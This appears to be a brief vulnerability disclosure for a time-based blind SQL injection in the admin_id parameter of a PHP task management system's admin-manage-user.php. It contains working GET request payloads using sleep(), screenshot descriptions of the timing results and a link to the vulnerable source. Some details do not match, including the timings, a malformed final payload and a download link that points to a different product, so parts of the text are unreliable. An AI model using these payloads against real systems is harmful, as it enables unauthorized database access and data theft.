

SQL injection vulnerability exists in admin_id parameter of admin-manage-user.php file of php task management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot displays the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab shows an HTTP GET request to `/taskmatic/admin-manage-user.php?admin_id=if(now())=sysdate()%2Csleep(4)%2C0&delete_user=delete_user`. The 'Response' tab shows an HTML response from the server. The 'Inspector' panel on the right shows the selected text `sleep(4)` in the response body. The status bar at the bottom indicates a response size of 14,601 bytes and a time of 8,003 milliseconds.

Sleep time is 8s:

The screenshot displays the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab shows an HTTP GET request to `/taskmatic/admin-manage-user.php?admin_id=if(now())=sysdate()%2Csleep(8)%2C0&delete_user=delete_user`. The 'Response' tab shows an HTML response from the server. The 'Inspector' panel on the right shows the selected text `sleep(8)` in the response body. The status bar at the bottom indicates a response size of 14,545 bytes and a time of 8,016 milliseconds.

Payload: `admin_id=if(now())=sysdate()%2Csleep(8)%2C0)Z`

Source Download:

<https://www.sourcecodester.com/php/17217/employee-management-system-php-and-mysql-free-download.html>